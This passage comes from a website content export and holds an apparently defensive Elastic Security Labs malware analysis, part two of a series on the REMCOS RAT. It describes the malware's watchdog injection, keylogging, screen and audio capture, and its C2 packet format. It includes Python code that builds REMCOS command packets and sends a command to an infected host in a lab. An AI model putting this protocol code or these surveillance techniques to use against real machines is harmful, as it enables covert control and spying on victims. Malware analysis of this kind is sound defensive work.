recording](/assets/images/dissecting-remcos-rat-part-two/image2.png)\n\n\nAfter recording for X minutes, the recording file is saved, and a new recording begins. REMCOS uses the following configuration fields to construct the recording folder path:\n\n - ```audio_record_parent_directory``` (index ```0x25```)\n - ```audio_record_folder``` (index ```0x26```)\n\nThe final path is ```{audio_record_parent_directory}/{audio_record_folder}```. In this case, it will be ```C:\\MicRecords```. Recordings are saved to disk using the following format: ```%Y-%m-%d %H.%M.wav```.\n\n![Audio recording folder](/assets/images/dissecting-remcos-rat-part-two/image33.png)\n\n\n## Communication with the C2\n\nAfter initialization, REMCOS initiates communication with its C2. It attempts to connect to each domain in its ```c2_list``` (index ```0x0```) until one responds.\n\nAccording to previous research, communication can be encrypted using TLS if enabled for a specific C2. In such cases, the TLS engine will utilize the ```tls_raw_certificate``` (index ```0x36```), ```tls_key``` (index ```0x37```), and ```tls_raw_peer_certificate``` (index ```0x38```) configuration fields to establish the TLS tunnel.\n\nIt's important to note that in this scenario, only one peer certificate can be provided for multiple TLS-enabled C2 domains. As a result, it may be possible to identify other C2s using the same certificate.\n\nOnce connected we received our first packet:\n\n![Hello packet from REMCOS](/assets/images/dissecting-remcos-rat-part-two/image80.png)\n\n\nAs [described in depth by Fortinet](https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing), the protocol hasn't changed, and all packets follow the same structure:\n\n - (orange)```magic_number```: ```\\x24\\x04\\xff\\x00```\n - (red)```data_size```: ```\\x40\\x03\\x00\\x00```\n - (green)```command_id``` (number): ```\\0x4b\\x00\\x00\\x00```\n - (blue)data fields separated by ```|\\x1e\\x1e\\1f|```\n\nAfter receiving the first packet from the malware, we can send our own command using the following functions.\n\n```Python\nMAGIC = 0xFF0424\nSEPARATOR = b\"\\x1e\\x1e\\x1f|\"\n\n\ndef build_command_packet(command_id: int, command_data: bytes) -\u003e bytes:\n\treturn build_packet(command_id.to_bytes(4, byteorder=\"little\") + command_data)\n\n\ndef build_packet(data: bytes) -\u003e bytes:\n\tpacket = MAGIC.to_bytes(4, byteorder=\"little\")\n\tpacket += len(data).to_bytes(4, byteorder=\"little\")\n\tpacket += data\n\treturn packet\n```\n\nHere we are going to change the title of a Notepad window using the command 0x94, passing as parameters its window handle (329064) and the text of our choice.\n\n```Python\ndef main() -\u003e None:\n\tserver_0 = nclib.TCPServer((\"192.168.204.1\", 8080))\n\n\tfor client in server_0:\n \tprint(client.recv_all(5))\n\n \tclient.send(build_command_packet(\n \t\t\t0x94,\n \t\t\tb\"329064\" + SEPARATOR + \"AM_I_A_JOKE_TO_YOU?\".encode(\"utf-16-le\")))\n```\n\n![REMCOS executed the command, changing the Notepad window text](/assets/images/dissecting-remcos-rat-part-two/image1.png)\n\n\nThat’s the end of the second article. The third part will cover REMCOS' configuration and its C2 commands.","code":"var Component=(()=\u003e{var l=Object.create;var c=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,w=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),u=(n,e)=\u003e{for(var t in e)c(n,t,{get:e[t],enumerable:!0})},o=(n,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!w.call(n,r)\u0026\u0026r!==t\u0026\u0026c(n,r,{get:()=\u003ee[r],enumerable:!(s=g(e,r))||s.enumerable});return n};var x=(n,e,t)=\u003e(t=n!=null?l(m(n)):{},o(e||!n||!n.__esModule?c(t,\"default\",{value:n,enumerable:!0}):t,n)),_=n=\u003eo(c({},\"__esModule\",{value:!0}),n);var a=f((S,d)=\u003e{d.exports=_jsx_runtime});var v={};u(v,{default:()=\u003ek,frontmatter:()=\u003ey});var i=x(a()),y={title:\"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Two\",slug:\"dissecting-remcos-rat-part-two\",date:\"2024-04-30\",subtitle:\"Part two: Diving into REMCOS recording capabilities, launch, and C2 communication\",description:\"In the previous article in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we\\u2019ll cover the second half of its execution flow and you\\u2019ll learn more about REMCOS recording capabilities and communication with its C2.\",author:[{slug:\"cyril-francois\"},{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 21.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"malware-analysis\",\"remcos\"]};function h(n){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",code:\"code\",img:\"img\",ul:\"ul\",li:\"li\",h3:\"h3\",ol:\"ol\",pre:\"pre\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.p,{children:[\"In the \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one\",rel:\"nofollow\",children:\"previous article\"}),\" in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we\\u2019ll cover the second half of its execution flow and you\\u2019ll learn more about REMCOS recording capabilities and communication with its C2.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"starting-watchdog\",children:\"Starting watchdog\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"If the \",(0,i.jsx)(e.code,{children:\"enable_watchdog_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x32\"}),\") is enabled, the REMCOS will activate its watchdog feature.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image68.png\",alt:\"0x40F24F Starting watchdog feature if enabled in the configuration\",width:\"553\",height:\"46\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This feature involves the malware launching a new process, injecting itself into it, and monitoring the main process. The goal of the watchdog is to restart the main process in case it gets terminated. The main process can also restart the watchdog if it gets terminated.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image49.png\",alt:\"Console message indicating activation of watchdog module\",width:\"580\",height:\"337\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The target binary for watchdog injection is selected from a hardcoded list, choosing the first binary for which the process creation and injection are successful:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"svchost.exe\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"rmclient.exe\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"fsutil.exe\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image32.png\",alt:\"0x4122C5 Watchdog target process selection\",width:\"476\",height:\"111\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In this example, the watchdog process is \",(0,i.jsx)(e.code,{children:\"svchost.exe\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image3.png\",alt:\"svchost.exe watchdog process\",width:\"184\",height:\"107\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The registry value \",(0,i.jsx)(e.code,{children:\"HKCU/SOFTWARE/{MUTEX}/WD\"}),\" is created before starting the watchdog process and contains the main process PID.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image31.png\",alt:\"The main process PID is saved in the WD registry key\",width:\"512\",height:\"358\"})}),`\n`,(0,i.jsxs)(e.p,{children:['Once REMCOS is running in the watchdog process, it takes a \"special\" execution path by verifying if the ',(0,i.jsx)(e.code,{children:\"WD\"}),\" value exists in the malware registry key. If it does, the value is deleted, and the monitoring procedure function is invoked.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image63.png\",alt:\"0x40EB54 Watchdog execution path when WD registry value exists\",width:\"756\",height:\"288\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"It is worth noting that the watchdog process has a special mutex to differentiate it from the main process mutex. This mutex string is derived from the configuration (index \",(0,i.jsx)(e.code,{children:\"0xE\"}),\") and appended with \",(0,i.jsx)(e.code,{children:\"-W\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image92.png\",alt:\"Mutex field in the configuration\",width:\"411\",height:\"39\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image64.png\",alt:\"Comparison between main process and watchdog process mutexes\",width:\"993\",height:\"360\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the main process is terminated, the watchdog detects it and restarts it using the \",(0,i.jsx)(e.code,{children:\"ShellExecuteW\"}),\" API with the path to the malware binary retrieved from the \",(0,i.jsx)(e.code,{children:\"HKCU/SOFTWARE/{mutex}/exepath\"}),\" registry key\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image30.png\",alt:\"Console message indicating process restart by watchdog\",width:\"520\",height:\"324\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"starting-recording-threads\",children:\"Starting recording threads\"}),`\n`,(0,i.jsx)(e.h3,{id:\"keylogging-thread\",children:\"Keylogging thread\"}),`\n`,(0,i.jsx)(e.p,{children:\"The offline keylogger has two modes of operation:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Keylog everything\"}),`\n`,(0,i.jsx)(e.li,{children:\"Enable keylogging when specific windows are in the foreground\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.code,{children:\"keylogger_mode\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0xF\"}),') field is set to 1 or 2 in the configuration, REMCOS activates its \"Offline Keylogger\" capability.']}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image62.png\",alt:\"\",width:\"373\",height:\"57\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Keylogging is accomplished using the \",(0,i.jsx)(e.code,{children:\"SetWindowsHookExA\"}),\" API with the \",(0,i.jsx)(e.code,{children:\"WH_KEYBOARD_LL\"}),\" constant.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image23.png\",alt:\"0x40A2B8 REMCOS setting up keyboard event hook using SetWindowsHookExA\",width:\"831\",height:\"249\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The file where the keylogging data is stored is built using the following configuration fields:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"keylogger_root_directory\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x31\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"keylogger_parent_directory\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x10\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"keylogger_filename\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x11\"}),\")\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The keylogger file path is \",(0,i.jsx)(e.code,{children:\"{keylogger_root_directory}/{keylogger_parent_directory}/{keylogger_filename}\"}),\". In this case, it will be \",(0,i.jsx)(e.code,{children:\"%APPDATA%/keylogger.dat\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image8.png\",alt:\"Keylogging data file keylogger.dat\",width:\"531\",height:\"311\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image94.png\",alt:\"Keylogging data content\",width:\"659\",height:\"309\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The keylogger file can be encrypted by enabling the \",(0,i.jsx)(e.code,{children:\"enable_keylogger_file_encryption_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x12\"}),\") flag in the configuration. It will be encrypted using the RC4 algorithm and the configuration key.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image51.png\",alt:\"0x40A7FC Decrypting, appending, and re-encrypting the keylogging data file\",width:\"720\",height:\"471\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The file can also be made super hidden by enabling the \",(0,i.jsx)(e.code,{children:\"enable_keylogger_file_hiding_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x13\"}),\") flag in the configuration.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"When using the second keylogging mode, you need to set the \",(0,i.jsx)(e.code,{children:\"keylogger_specific_window_names\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x2A\"}),\") field with strings that will be searched in the current foreground window title every 5 seconds.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image84.png\",alt:\"0x40A109 Keylogging mode choice\",width:\"683\",height:\"335\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Upon a match, keylogging begins. Subsequently, the current foreground window is checked every second to stop the keylogger if the title no longer contains the specified strings.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image79.png\",alt:\"Monitoring foreground window for keylogging activation\",width:\"782\",height:\"426\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"screen-recording-threads\",children:\"Screen recording threads\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.code,{children:\"enable_screenshot_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x14\"}),\") is enabled in the configuration, REMCOS will activate its screen recording capability.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image81.png\",alt:\"0x40F0B3 Starting screen recording capability when enabled in configuration\",width:\"819\",height:\"390\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To take a screenshot, REMCOS utilizes the \",(0,i.jsx)(e.code,{children:\"CreateCompatibleBitmap\"}),\" and the \",(0,i.jsx)(e.code,{children:\"BitBlt\"}),\" Windows APIs. If the \",(0,i.jsx)(e.code,{children:\"enable_screenshot_mouse_drawing_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x35\"}),\") flag is enabled, the mouse is also drawn on the bitmap using the \",(0,i.jsx)(e.code,{children:\"GetCursorInfo\"}),\", \",(0,i.jsx)(e.code,{children:\"GetIconInfo\"}),\", and the \",(0,i.jsx)(e.code,{children:\"DrawIcon\"}),\" API.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image6.png\",alt:\"0x418E76 Taking screenshot 1/2\",width:\"463\",height:\"28\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image82.png\",alt:\"0x418E76 Taking screenshot 2/2\",width:\"828\",height:\"306\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The path to the folder where the screenshots are stored is constructed using the following configuration:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"screenshot_parent_directory\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x19\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"screenshot_folder\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x1A\"}),\")\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The final path is \",(0,i.jsx)(e.code,{children:\"{screenshot_parent_directory}/{screenshot_folder}\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"REMCOS utilizes the \",(0,i.jsx)(e.code,{children:\"screenshot_interval_in_minutes\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x15\"}),\") field to capture a screenshot every X minutes and save it to disk using the following format string: \",(0,i.jsx)(e.code,{children:\"time_%04i%02i%02i_%02i%02i%02i\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image45.png\",alt:\"Location where screenshots are saved\",width:\"308\",height:\"149\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Similarly to keylogging data, when the \",(0,i.jsx)(e.code,{children:\"enable_screenshot_encryption_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x1B\"}),\") is enabled, the screenshots are saved encrypted using the RC4 encryption algorithm and the configuration key.\"]}),`\n`,(0,i.jsxs)(e.p,{children:['At the top, REMCOS has a similar \"specific window\" feature for its screen recording as its keylogging capability. When the ',(0,i.jsx)(e.code,{children:\"enable_screenshot_specific_window_names_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x16\"}),\") is set, a second screen recording thread is initiated.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image20.png\",alt:\"0x40F108 Starting specific window screen recording capability when enabled in configuration\",width:\"668\",height:\"413\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This time, it utilizes the \",(0,i.jsx)(e.code,{children:\"screenshot_specific_window_names\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x17\"}),\") list of strings to capture a screenshot when the foreground window title contains one of the specified strings. Screenshots are taken every X seconds, as specified by the \",(0,i.jsx)(e.code,{children:\"screenshot_specific_window_names_interval_in_seconds\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x18\"}),\") field.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"In this case, the screenshots are saved on the disk using a different format string: \",(0,i.jsx)(e.code,{children:\"wnd_%04i%02i%02i_%02i%02i%02i\"}),'. Below is an example using [\"notepad\"] as the list of specific window names and setting the Notepad process window in the foreground.']}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image89.png\",alt:\"Screenshot triggered when Notepad window is in the foreground\",width:\"657\",height:\"312\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"audio-recording-thread\",children:\"Audio recording thread\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.code,{children:\"enable_audio_recording_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x23\"}),\") is enabled, REMCOS initiates its audio recording capability.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image24.png\",alt:\"0x40F159 Starting audio recording capability when enabled in configuration\",width:\"868\",height:\"199\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The recording is conducted using the Windows \",(0,i.jsx)(e.code,{children:\"Wave*\"}),\" API. The duration of the recording is specified in minutes by the \",(0,i.jsx)(e.code,{children:\"audio_recording_duration_in_minutes\"}),\" (\",(0,i.jsx)(e.code,{children:\"0x24\"}),\") configuration field.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image2.png\",alt:\"0x401BE9 Initialization of audio recording\",width:\"822\",height:\"260\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After recording for X minutes, the recording file is saved, and a new recording begins. REMCOS uses the following configuration fields to construct the recording folder path:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"audio_record_parent_directory\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x25\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"audio_record_folder\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x26\"}),\")\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The final path is \",(0,i.jsx)(e.code,{children:\"{audio_record_parent_directory}/{audio_record_folder}\"}),\". In this case, it will be \",(0,i.jsx)(e.code,{children:\"C:\\\\MicRecords\"}),\". Recordings are saved to disk using the following format: \",(0,i.jsx)(e.code,{children:\"%Y-%m-%d %H.%M.wav\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image33.png\",alt:\"Audio recording folder\",width:\"279\",height:\"152\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"communication-with-the-c2\",children:\"Communication with the C2\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"After initialization, REMCOS initiates communication with its C2. It attempts to connect to each domain in its \",(0,i.jsx)(e.code,{children:\"c2_list\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x0\"}),\") until one responds.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"According to previous research, communication can be encrypted using TLS if enabled for a specific C2. In such cases, the TLS engine will utilize the \",(0,i.jsx)(e.code,{children:\"tls_raw_certificate\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x36\"}),\"), \",(0,i.jsx)(e.code,{children:\"tls_key\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x37\"}),\"), and \",(0,i.jsx)(e.code,{children:\"tls_raw_peer_certificate\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x38\"}),\") configuration fields to establish the TLS tunnel.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"It's important to note that in this scenario, only one peer certificate can be provided for multiple TLS-enabled C2 domains. As a result, it may be possible to identify other C2s using the same certificate.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Once connected we received our first packet:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image80.png\",alt:\"Hello packet from REMCOS\",width:\"608\",height:\"54\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"As \",(0,i.jsx)(e.a,{href:\"https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing\",rel:\"nofollow\",children:\"described in depth by Fortinet\"}),\", the protocol hasn't changed, and all packets follow the same structure:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"(orange)\",(0,i.jsx)(e.code,{children:\"magic_number\"}),\": \",(0,i.jsx)(e.code,{children:\"\\\\x24\\\\x04\\\\xff\\\\x00\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"(red)\",(0,i.jsx)(e.code,{children:\"data_size\"}),\": \",(0,i.jsx)(e.code,{children:\"\\\\x40\\\\x03\\\\x00\\\\x00\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"(green)\",(0,i.jsx)(e.code,{children:\"command_id\"}),\" (number): \",(0,i.jsx)(e.code,{children:\"\\\\0x4b\\\\x00\\\\x00\\\\x00\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"(blue)data fields separated by \",(0,i.jsx)(e.code,{children:\"|\\\\x1e\\\\x1e\\\\1f|\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"After receiving the first packet from the malware, we can send our own command using the following functions.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-Python\",children:`MAGIC = 0xFF0424\nSEPARATOR = b\"\\\\x1e\\\\x1e\\\\x1f|\"\n\n\ndef build_command_packet(command_id: int, command_data: bytes) -\u003e bytes:\n\treturn build_packet(command_id.to_bytes(4, byteorder=\"little\") + command_data)\n\n\ndef build_packet(data: bytes) -\u003e bytes:\n\tpacket = MAGIC.to_bytes(4, byteorder=\"little\")\n\tpacket += len(data).to_bytes(4, byteorder=\"little\")\n\tpacket += data\n\treturn packet\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Here we are going to change the title of a Notepad window using the command 0x94, passing as parameters its window handle (329064) and the text of our choice.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-Python\",children:`def main() -\u003e None:\n\tserver_0 = nclib.TCPServer((\"192.168.204.1\", 8080))\n\n\tfor client in server_0:\n \tprint(client.recv_all(5))\n\n \tclient.send(build_command_packet(\n \t\t\t0x94,\n \t\t\tb\"329064\" + SEPARATOR + \"AM_I_A_JOKE_TO_YOU?\".encode(\"utf-16-le\")))\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-two/image1.png\",alt:\"REMCOS executed the command, changing the Notepad window text\",width:\"659\",height:\"429\"})}),`\n`,(0,i.jsx)(e.p,{children:\"That\\u2019s the end of the second article. The third part will cover REMCOS' configuration and its C2 commands.\"})]})}function b(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(h,n)})):h(n)}var k=b;return _(v);})();\n;return Component;"},"_id":"articles/dissecting-remcos-rat-part-two.mdx","_raw":{"sourceFilePath":"articles/dissecting-remcos-rat-part-two.mdx","sourceFileName":"dissecting-remcos-rat-part-two.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dissecting-remcos-rat-part-two"},"type":"Article","imageUrl":"/assets/images/dissecting-remcos-rat-part-two/Security Labs Images 21.jpg","readingTime":"8 min read","series":"","url":"/dissecting-remcos-rat-part-two","headings":[{"level":2,"title":"Starting watchdog","href":"#starting-watchdog"},{"level":2,"title":"Starting recording threads","href":"#starting-recording-threads"},{"level":3,"title":"Keylogging thread","href":"#keylogging-thread"},{"level":3,"title":"Screen recording threads","href":"#screen-recording-threads"},{"level":3,"title":"Audio recording thread","href":"#audio-recording-thread"},{"level":2,"title":"Communication with the C2","href":"#communication-with-the-c2"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var 